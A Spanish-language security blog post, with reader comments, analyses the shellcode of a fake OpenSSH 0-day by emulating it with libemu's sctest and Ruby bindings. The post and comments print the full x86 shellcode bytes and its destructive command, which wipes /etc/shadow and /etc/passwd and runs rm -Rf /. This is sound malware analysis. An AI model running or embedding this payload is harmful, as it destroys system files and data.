Un blog de Seguridad Informática, desde un punto de vista tecnológico

libemu para el análisis dinámico del fake 0 day para OpenSSH

En la entrada anterior hemos recogido el análisis estático del falso 0 day para openssh y la shellcode utilizada para ejecutar el payload dañino:

echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /

Sin embargo para un rápido análisis dinámico del falso 0 day, y concretamente de su payload, NX puede suponer un escollo, tal y como ha comentado Eloi Sanfelix a través de twitter.

En este caso, la libemu nos puede venir de perlas para poder hacer un análisis rápido de la shellcode:

"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
"\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
"\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
"\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
"\xcd\x80";

Podemos utilizar la utilidad “sctest” que acompaña a la librería:

$ sctest -S -s 30 < shellcode.bin verbose = 0 execve int execve (const char *dateiname=0012fe8a={/bin/sh}, const char * argv[], const char *envp[]); stepcount 30 int execve (      const char * dateiname = 0x0012fe8a =>
           = "/bin/sh";
     const char * argv[] = [
           = 0x0012fe7a =>
               = 0x0012fe8a =>
                   = "/bin/sh";
           = 0x0012fe7e =>
               = 0x0012fe92 =>
                   = "-c";
           = 0x0012fe82 =>
               = 0x0041701d =>
                   = "echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /";
           = 0x00000000 =>
             none;
     ];
     const char * envp[] = 0x00000000 =>
         none;
) =  0;

Por comentarlo, las llamadas al sistema que “emu_env_linux_new()” hookea por defecto (y que por tanto podríamos monitorizar con “sctest” tal y como lo hemos lanzado) están definidas en el array “syscall_hooks”, en el fichero “env_linux_syscalls.h” y son las siguientes (para el entorno linux!):

"accept"
"bind"
"connect"
"dup2"
"execve"
"exit"
"fork"
"getpeername"
"getsockname"
"getsockopt"
"listen"
"recv"
"recvfrom"
"recvmsg"
"send"
"sendmsg"
"sendto"
"shutdown"
"socket"
"socketpair"

Por cierto, poco a poco, vamos avanzando los bindings de la libemu para ruby, que están disponibles en https://github.com/testpurposes/ruby-libemu (ojo! los bindings están totalmente en fase de desarrollo!!, y además lo avanzamos muy poco a poco :P, pero tal vez a alguien le puede ser útil o interesante 🙂 )

Anuncios

3 comentarios

  1. Anonymous

    Hola,
    no consigo reproducir lo que mostras en el articulo

    $ sctest -S -s 30 < shellcode.bin
    verbose = 0
    cpu error opcode cd not supported

    stepcount 14

    Que estoy haciendo errado?

    Gracias.

    8 febrero, 2011 en 17:55

    • juan vazquez

      Es posible que en shellcode.bin no hayas dumpeado correctamente la shellcode.

      Por ejemplo, puedes utilizar el siguiente ruby para guardar la shellcode en raw en shellcode.bin:

      ############
      shellcode = “\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68″+
      “\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65″+
      “\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73″+
      “\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22″+
      “\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20″+
      “\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1″+
      “\xcd\x80”

      File.open(“shellcode.bin”, “wb”) do |file|
      file.write(shellcode)
      end
      ############

      Con el shellcode.bin que te generará el script anterior el sctest debería funcionar sin más problemas, a ver si hay suerte! 🙂

      8 febrero, 2011 en 21:38

    • juan vazquez

      Hola,

      Un poco fuera ya de contexto jaja pero por si todavía puede interesar, hemos añadido los bindings de ruby necesarios para poder hacer el test de esta shellcode desde ruby:

      # based on sctest
      require ‘rlibemu’
      include Libemu

      CODE_OFFSET=0x417000

      # dangerous “rm” shellcode
      shellcode =
      “\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68″+
      “\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65″+
      “\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73″+
      “\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22″+
      “\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20″+
      “\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1″+
      “\xcd\x80”

      emu = Emulator.new

      #set the registers to the initial values
      emu.cpu_reg32_set(Emulator::EAX, 0)
      emu.cpu_reg32_set(Emulator::ECX, 0)
      emu.cpu_reg32_set(Emulator::EDX, 0)
      emu.cpu_reg32_set(Emulator::EBX, 0)
      emu.cpu_reg32_set(Emulator::ESP, 0)
      emu.cpu_reg32_set(Emulator::EBP, 0)
      emu.cpu_reg32_set(Emulator::ESI, 0)
      emu.cpu_reg32_set(Emulator::EDI, 0)

      # set the flags
      emu.cpu_eflags_set(0)

      # write the code to the offset
      emu.memory_write_block(CODE_OFFSET, shellcode)

      # set eip to the code
      emu.cpu_eip_set(CODE_OFFSET)
      emu.memory_write_block(0x0012fe98, shellcode)
      emu.cpu_reg32_set(Emulator::ESP, 0x0012fe98)

      # test
      env = Environment.new(emu)
      j = 0

      300.times do |i|
      if emu.cpu_parse == -1
      break
      end
      if env.linux_syscall_check
      env.linux_syscall_hook
      else
      emu.cpu_step
      end
      end

      env.profile_debug

      El resultado:

      $ ruby test_environment.rb
      execve
      int execve (const char *dateiname=0012fe8a={/bin/sh}, const char * argv[], const char *envp[]);
      int execve (
      const char * dateiname = 0x0012fe8a =>
      = “/bin/sh”;
      const char * argv[] = [
      = 0x0012fe7a =>
      = 0x0012fe8a =>
      = “/bin/sh”;
      = 0x0012fe7e =>
      = 0x0012fe92 =>
      = “-c”;
      = 0x0012fe82 =>
      = 0x0041701d =>
      = “echo “” > /etc/shadow ; echo “” > /etc/passwd ; rm -Rf /”;
      = 0x00000000 =>
      none;
      ];
      const char * envp[] = 0x00000000 =>
      none;
      ) = 0;

      Los bindings de ruby (totalmente en desarrollo!) están disponibles en https://github.com/testpurposes/ruby-libemu

      18 febrero, 2011 en 23:33

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s